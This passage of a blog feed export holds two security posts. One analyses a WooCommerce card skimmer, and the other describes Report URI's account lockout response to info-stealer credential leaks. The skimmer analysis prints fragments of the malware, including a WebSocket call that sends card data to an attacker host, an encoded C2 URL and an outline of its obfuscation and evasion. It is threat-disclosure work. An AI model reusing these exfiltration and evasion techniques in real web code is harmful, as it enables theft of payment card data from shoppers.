          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png\" alt=\"Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive\"><p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach that remains invisible until long after the damage is done.</p><p>We recently became aware of exactly this kind of compromise, where an attacker modified a JavaScript file on disk and injected malware into it. At first glance, that might seem like an unusual choice. If an attacker has enough access to modify files on the server, why settle for injecting JavaScript into an existing library?</p><p>In this case, there’s a very good reason: the data they wanted to steal only existed in the browser, so that's where their malicious code needed to run.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png\" class=\"kg-image\" alt=\"Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"an-unusual-choice\">An unusual choice</h3><p>If I'd found a way to compromise a host to the point where I could modify files on disk, I'm not sure that injecting JavaScript malware into an existing file would be my first choice when it came to deciding my course of action. Yet, here we are!</p><p>Looking at the website in question, my best guess would be a vulnerable WordPress plugin has allowed some level of remote access to the attackers and they've leveraged that to modify an existing JS file. The compromised file was an existing and legitimate JS library, and the malware was injected at the start of the file, leaving the original library code intact later in the file. This is a common tactic aimed at reducing the disruption the injection causes as all original functionality remains, reducing the likelihood of being discovered.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png\" class=\"kg-image\" alt=\"Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive\" loading=\"lazy\" width=\"1693\" height=\"774\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/image-8.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png 1693w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Given that their goal was clearly to skim payment card data, it also explains why their chosen course of action was to modify an existing JS asset rather than leverage much more powerful server-side access: The payment card data doesn't exist on the server, only on the client, so that's where they have to target it!</p><p></p><h3 id=\"evasion-and-anti-detection-techniques\">Evasion and Anti-Detection Techniques</h3><p>Rather than add their own file to the page and load the malware in that way, the attackers inserted their code in an existing file, and did so in a way that would not interrupt how it worked. The injected code uses a rotating string array with RC4 encryption and per-call decryption keys (the same technique used by<br>professional JavaScript obfuscation products!), and a reversed, base64-encoded C2 URL:</p><pre><code>c3cvbW9jLm5kYy10c2V1cWVyLy86c3N3\nsw/moc.ndc-tseuqer//:ssw\nwss://request-cdn.com/ws</code></pre><p></p><p>On top of this, after the malicious code establishes its WebSocket connection, it then removes itself to avoid detection.</p><p></p><h3 id=\"data-theft\">Data Theft</h3><p>Looking at the code and the fields on the page that it targets, it's pretty clear it's specifically designed for WooCommerce checkouts. The CSS selectors include every standard checkout field like <code>#billing_</code><em>, <code>#shipping_</code>, </em>etc... Not only is it targeting specific fields, the skimmer isn't just blindly exfiltrating data, it's doing validation on the data before it exfiltrates it. For the card number, it's using the <a href=\"https://en.wikipedia.org/wiki/Luhn_algorithm?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Luhn Algorithm</a> to check that it's a valid card number, and it's also validating that the expiry date is a date in the future too!</p><p>On top of the desirable card data, it's also capturing other identity data that is present alongside the card data. This potentially includes your email address, phone number, full address including street/city/postcode/country, your browser UA and the hostname of the site. The code polls these fields in a loop every 500ms, presumably to catch autofill, paste, or JS-set values that don't trigger input or change events, but also progressively captures the data as you're typing, meaning it doesn't rely on an action like form submission for the exfiltration of complete data to happen. If you type in all of your card details and then have second thoughts about your purchase, it's already too late!</p><p>The final point that stood out to me is that the skimmer keeps a local record of card data that's already been stolen in localStorage, so if you were to return to the site and make another purchase using the same payment card, the skimmer wouldn't steal it a second time. How nice of them. </p><p></p><h3 id=\"data-exfiltration-mechanism\">Data Exfiltration Mechanism</h3><p>Once the skimmer has identified some data that passes local validation and it wants to exfiltrate that data, it does so via a WebSocket over TLS. The data is sent to <code>wss://request-cdn.com/ws</code> in real-time using a simple JSON payload. </p><p></p><pre><code class=\"language-json\">{\n    \"method\": \"data\",\n    \"host\": \"victim-site.com\",\n    \"data\": \"*card data here*\"\n}</code></pre><p></p><p>Although TLS protects the transmission itself, any security tool terminating and inspecting outbound TLS could still spot payment card data leaving the browser. To avoid this, the malware hides the card data by encrypting it with AES-256-GCM using a PBKDF2-derived key (100,000 iterations, SHA-256) before being sent, and the decryption key (<code>e2c6b94cc6b4</code>)  is embedded in the payload. This isn't an additional security mechanism to protect the card data, this is another evasion technique.</p><p>Along with a buffer in <code>localStorage</code> to handle multi-step payment flows or interruptions, a keepalive ping on the WebSocket, and even reconnection logic with backoff handling, I'd say there's a robust strategy in place to make sure this data is going to be exfiltrated!</p><p></p><h3 id=\"infrastructure\">Infrastructure</h3><p>C2 domain: <code>request-cdn.com</code> (mimics a CDN, registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code><br>Protocol: WebSocket over TLS (wss://)<br>Campaign ID: <code>e2c6b94cc6b4</code> (used as encryption key, unique per victim site)<br>Target platform: WooCommerce (WordPress)<br>Delivery vehicle: Modified <code>blazy.min.js</code> theme asset</p><p></p><h3 id=\"code-obfuscation-techniques\">Code Obfuscation Techniques</h3><p>I mentioned that the code obfuscation being used was quite advanced and whilst I don't want to delve into it too much as it doesn't really affect the outcome or the purpose of this script, I thought it was interesting and worth covering at a high level.</p><p>Any readable string in the code — method names, property names, URLs, algorithm names — are stripped out and dumped into a single, giant array. Instead of the code saying something like:</p><p></p><pre><code>localStorage.setItem('TTxxp', data);\nnew WebSocket('wss://request-cdn.com/ws');</code></pre><p></p><p>Every string is replaced with a function call that looks up the array at runtime:</p><p></p><pre><code>localStorage[R(0x22b,'73VL')](R(0x1aa,'N@oZ'), data);\nnew WebSocket(R(0x26d,'Mb$3'));</code></pre><p></p><p>There are no readable strings <em>anywhere</em> in the code. A human reading it sees nothing but hex numbers and short, random-looking keys.</p><p>The strings in the array aren't stored in plain text either — they're individually encrypted using the RC4 stream cipher. So, even if you dump the array, you just get a list of random-looking base64 blobs like these:</p><p></p><pre><code>'WQtdUGxdQSodW7a', 'p0hdIL5wlCoP', 'W5iRx8oghaRdMq' ...</code></pre><p></p><p>The <code>R()</code> function, or <code>a0j()</code> in the loader, decrypts each entry on demand using a two-step process — first base64-decode the blob, then run RC4 on it to get the<br>plaintext back. To make this even more tricky, the payload uses per-call decryption keys. Each call to R() passes a different key:</p><p></p><pre><code>R(0x22b, '73VL') // → \"setItem\"\nR(0x1aa, 'N@oZ') // → \"TTxxp\"\nR(0x26d, 'Mb$3') // → \"wss://\"</code></pre><p></p><p>The second argument (<code>'73VL'</code>, <code>'N@oZ'</code>, <code>'Mb$3'</code>) is the RC4 key for that specific string. Every string in the array is encrypted with a different key, hardcoded at its<br>call site. This means:</p><ol><li>We couldn't decrypt the whole array in one go — you need to know which key goes with which index and use the right one.</li><li>Automated tools that try to extract string arrays will get garbage unless they also trace every individual call.</li></ol><p></p><p>Further to this, at start up, the payload runs through a self-checking loop and shuffles/rotates the array.</p><p></p><pre><code>while(!![]){\ntry {\nconst j = parseInt(...) / 1 + parseInt(...) / 2 * ...\nif(j === 0x87dfa) break;\nelse S'push';\n} catch(c) { S'push'; }\n}</code></pre><p></p><p>It keeps rotating the array — moving the first element to the end, over and over — until a specific arithmetic check across multiple entries produces the exact target<br>value of <code>0x87dfa</code>. This means:</p><ol><li>The array indices in source code don't correspond to their actual positions until the correct rotation is found.</li><li>You can't statically know which entry is at index 28 without running or simulating the shuffle to completion.</li><li>It defeats simple array extraction because the indices only make sense after rotation</li></ol><p></p><p>All in all, there are some pretty advanced techniques at play here, all designed to make it more difficult to detect and stop this attack.</p><p></p><h3 id=\"how-report-uri-would-have-caught-this\">How Report URI would have caught this</h3><p>This is <em>exactly</em> the kind of attack Report URI can catch — and it would have tripped two separate alarms. <a href=\"https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CSP Integrity</a> fingerprints your JavaScript assets using our <a href=\"https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io\" rel=\"noreferrer\">JavaScript Integrity Monitoring</a> feature so you can know the instant one of your JS assets changes; the moment <code>blazy.min.js</code> was modified on disk and served to the very first visitor, you'd have known. If that wasn't enough, the exfil itself was loud: a CSP with <code>connect-src</code> scoped to your own infrastructure blocks the <code>wss://request-cdn.com/ws</code> connection outright, stopping the exfiltration, and Report URI's reporting endpoint surfaces the violation the first time a victim hits checkout and sends you a notification. Either control on its own detects or stops this campaign; together they provide robust protection. If you run WooCommerce — or any page where payment card data touches the browser — these controls aren’t nice-to-haves. They’re the difference between spotting a compromise within minutes, or discovering it months later during breach notifications, chargebacks, or forensic investigation.</p><p></p><h3 id=\"indicators-of-compromise\">Indicators of Compromise</h3><p>C2 Domain: <code>request-cdn.com</code> (registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at <a href=\"https://report-uri.com/?utm_source=scotthelme.co.uk\">Report URI</a>. Our <a href=\"https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk\">JavaScript Integrity Monitoring</a> solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry immediately.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "magecart",
              "term": "magecart",
              "url": null
            },
            {
              "label": "WooCommerce",
              "term": "WooCommerce",
              "url": null
            },
            {
              "label": "javascript",
              "term": "javascript",
              "url": null
            }
          ]
        },
        {
          "id": "69bbb64cbfb9340001a6c265",
          "title": "Under Attack: Responding to the Rise of Info-Stealer Threats",
          "description": "<p>We recently received a claim that <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-</p>",
          "url": "https://scotthelme.ghost.io/under-attack-responding-to-the-rise-of-info-stealer-threats/",
          "published": "2026-05-11T13:10:11.000Z",
          "updated": "2026-05-11T13:10:11.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp\" alt=\"Under Attack: Responding to the Rise of Info-Stealer Threats\"><p>We recently received a claim that <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-stealer malware: compromised devices where usernames, passwords, cookies and other sensitive data had been harvested. This post walks through what happened, why our existing controls helped but we wanted to improve, and the new account lockout process we’ve introduced as a result.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png\" class=\"kg-image\" alt=\"Under Attack: Responding to the Rise of Info-Stealer Threats\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"info-stealers\">Info Stealers</h3><p>The first thing we need to do is understand the specific threat we're dealing with here. Info Stealers are a serious problem for services like ours because of how they operate. Info-stealer malware will infect a device and then start to harvest sensitive data from that device, which could include anything like usernames, passwords, payment card details, cookies from your browser, documents, and much, much more. If one of our customers is using a device that has been infected with info-stealer malware, our primary concern is that the account credentials have been compromised, which is what happened in this case. The email address and password for a Report URI account is accessed by the malware on the user's device when it is used to login...</p><p>As a website operator, despite the multiple layers of account security we have, no online service can fully defend against this type of threat. If the user's device is compromised and their account credentials are harvested directly from it, we have to acknowledge the limits of our own capabilities as a website, and that those credentials are going to be taken.</p><p></p><h3 id=\"existing-account-security-controls\">Existing Account Security Controls</h3><p>We're pretty open about how we do things at Report URI, and we've already published a lot of information about how we handle account security. You can read my full blog post on <a href=\"https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">boosting password security</a>, but here's a summary of the existing measures we have in place:</p><p></p><h4 id=\"zxcvbn\">zxcvbn</h4><p>If you haven't heard of <a href=\"https://github.com/dropbox/zxcvbn?utm_source=scotthelme.co.uk\" rel=\"noreferrer\">zxcvbn</a>, you should absolutely go and check it out. It's a reliable password strength estimator created by Dropbox, and we use it to test how strong a password is when a user is trying to use it. If the password doesn't meet our complexity requirements, it isn't allowed to be used.</p><p></p><h4 id=\"password-managers\">Password Managers</h4><p>We have a variety of different measures in place to improve the effectiveness of Password Managers. On form elements we tell a password manager to create a <em>crazy</em> strong password, we provide information on where our password change endpoints are so it can be done automatically by your password manager, we hint which account is currently logged in so password managers know which entry to use, and a whole range of other quality of life attributes.</p><p></p><h4 id=\"two-factor-authentication\">Two-Factor Authentication</h4><p>We support TOTP 2FA on Report URI, and organisations have the ability to require that their team members have 2FA enabled on their account to access company data. We strongly recommend that any user has 2FA enabled, and you should keep an eye out for 2FA related announcements in the next week or so...</p><p></p><h4 id=\"password-hashing\">Password Hashing</h4><p>When storing user passwords, we hash them with the bcrypt hashing algorithm, configured with a work factor of 10 and a 128-bit salt. In our chosen language of PHP, that looks like this:</p><pre><code class=\"language-php\">password_hash($password, PASSWORD_DEFAULT)</code></pre><p></p><h4 id=\"bot-mitigation\">Bot Mitigation</h4><p>Using a variety of approaches, we work to detect automated behaviour against sensitive endpoints like login or password reset. By trying to detect and stop bots, we can prevent automated attacks that are using stolen credentials, or are trying to guess credentials by trying them against the site. </p><p></p><h4 id=\"pwned-passwords\">Pwned Passwords</h4><p>We make use of the <a href=\"https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Pwned Password API</a> with their k-anonymity model to query for compromised passwords that have appeared in data breaches. This prevents users from using a password that is known to have been previously compromised.</p><p></p><h3 id=\"none-of-that-matters\">None of that matters</h3><p>And this is the problem! Despite all of the work that we've done above, if an info-stealer malware has infected a device and reads the user's password right off the keyboard, the attacker now has the email address and password, can head right to the login page and successfully login to the account. Despite that, this did identify an avenue for us to improve our processes and offer a little more protection to our users, over and above what we were already offering.</p><p>2FA still matters enormously here because it can stop a stolen password from being enough on its own. But the point remains: once the password itself is known to be compromised, we should not allow it to continue being used.</p><p></p><h3 id=\"our-existing-process\">Our existing process</h3><p>As I mentioned above, we use the Pwned Passwords API to query for passwords that our users are using so we can see if they have been compromised. That sounds like it might be a really bad idea at face value, but the k-anonymity model that the API uses means that <strong>we never send your password</strong> to the API, so this doesn't introduce any security or privacy concerns. It does, however, allow us to know if that particular password has been observed in a data breach. Head on over to the Report URI <a href=\"https://report-uri.com/register/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">registration page</a> and try to register with the password \"correcthorsebatterystaple\" (<a href=\"https://xkcd.com/936/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">source</a> if you don't get the reference), which is a reasonably strong password and will pass our complexity requirements, but it has also been compromised...</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-12.png\" class=\"kg-image\" alt=\"Under Attack: Responding to the Rise of Info-Stealer Threats\" loading=\"lazy\" width=\"477\" height=\"802\"></figure><p></p><p>You're not allowed to use this password because the Pwned Passwords API tells us that it has been previously observed in a data breach. You can head to the <a href=\"https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Pwned Passwords website</a> and test this for yourself to see the results.</p><p>This is a great feature, and it will stop you using a password that has been breached, and we also apply the same protection on the password reset process too, so you can't change to a breached password. But what happens if the password is breached <em>after</em> you set it up on our service?</p><p></p><h3 id=\"identifying-the-gap\">Identifying the gap</h3><p>The problem we have here is that because passwords are stored as a salted hash in our database, we don't have your password to do any kind of regular check to see if it has since been breached. This means that our only opportunity to do any check like this is when you next authenticate and we have that brief period where we have your clear-text password in memory to do the check. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png\" class=\"kg-image\" alt=\"Under Attack: Responding to the Rise of Info-Stealer Threats\" loading=\"lazy\" width=\"757\" height=\"173\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-13.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png 757w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>This is something that we already do and we will notify users if they login with a password that has been breached since they started using it. This is a great feature, and something that we've had for a long time, but it doesn't quite go far enough. If an attacker has your password and is able to login to your account, there's a good chance that they're probably going to ignore this warning and then continue with whatever it is they want to do! What we need to do is immediately suspend your account if we detect a login has occurred with a compromised password.</p><p></p><h3 id=\"the-new-account-lockout-process\">The new account lockout process</h3><p>If you now complete a new authentication to your Report URI account, using a password that has become known to have been breached, your account will be immediately locked and will require a password reset to gain access. There is always a balance to strike with account lockouts because any automated lockout process can introduce Denial-of-Service considerations. In this case, we're only taking action when the submitted password is already known to be compromised, which means the account is already at material risk. We think requiring a password reset is the safer outcome.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-14.png\" class=\"kg-image\" alt=\"Under Attack: Responding to the Rise of Info-Stealer Threats\" loading=\"lazy\" width=\"488\" height=\"529\"></figure><p></p><p>This gives us stronger protection so that if your password later appears in a breach or info-steal dataset, once that password is flagged as having been breached, you know that nobody will be able to use it to gain access to your account.</p><p></p><h3 id=\"service-wide-improvements\">Service-wide improvements</h3><p>Alongside the new automated process above, we have also added new controls to our staff admin portal that allow for the quick and easy locking of an account should it be required. In a recent example, which was what actually triggered this whole response, we had someone email us claiming to have breached our database and accessed user credentials. I knew this was nonsense right away because we don't store passwords in a recoverable format, but this could cause quite a panic if you were to receive a similar email. The email addresses matched Report URI accounts, and when we checked a small sample through our normal authentication flow, the passwords were valid too. I was able to quickly identify that these emails and passwords had been taken from the <a href=\"https://haveibeenpwned.com/breach/AlienStealerLogs?ref=scotthelme.ghost.io\" rel=\"noreferrer\">ALIEN TXTBASE Info Stealer</a> and were being re-purposed to make it look like we had been breached. The scale of these datasets is enormous. HIBP describes ALIEN TXTBASE as containing 23 billion rows of stealer-log data, including email addresses, the websites they were entered into, and the passwords used. It's worth knowing about threats like these for when/if you ever find yourself on the receiving end of such an email. We were able to use our new capability to instantly lock these accounts and protect them, requiring the user to reset their password before gaining access again.</p><p></p><h3 id=\"future-considerations\">Future considerations</h3><p>Another persistent threat from info-stealer malware like this is if the malware steals the session cookie of an authenticated session. This presents a completely different set of challenges and is also something that we're aware of and working on for a future update. For now, I wanted to share this information of what recently happened to us, what we've done about it to improve, and what you can do about it if it happens to you.</p><p></p><h3 id=\"what-should-users-do\">What should users do?</h3><p>If you receive a password reset notification from us, complete the reset and make sure the new password is unique to Report URI. We also strongly recommend enabling 2FA, using a password manager, and checking any affected device for malware. If your password came from an info-stealer log, changing the password alone may not be enough if the device is still compromised.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Info Stealer",
              "term": "Info Stealer",
              "url": null
            },
            {
              "label": "Pwned Passwords",
              "term": "Pwned Passwords",
              "url": null
            },
            {
              "label": "Have I Been Pwned",
              "term": "Have I Been Pwned",
              "url": null
            }
          ]
        }
      ]
    }
    Analyze Another View with RSS.Style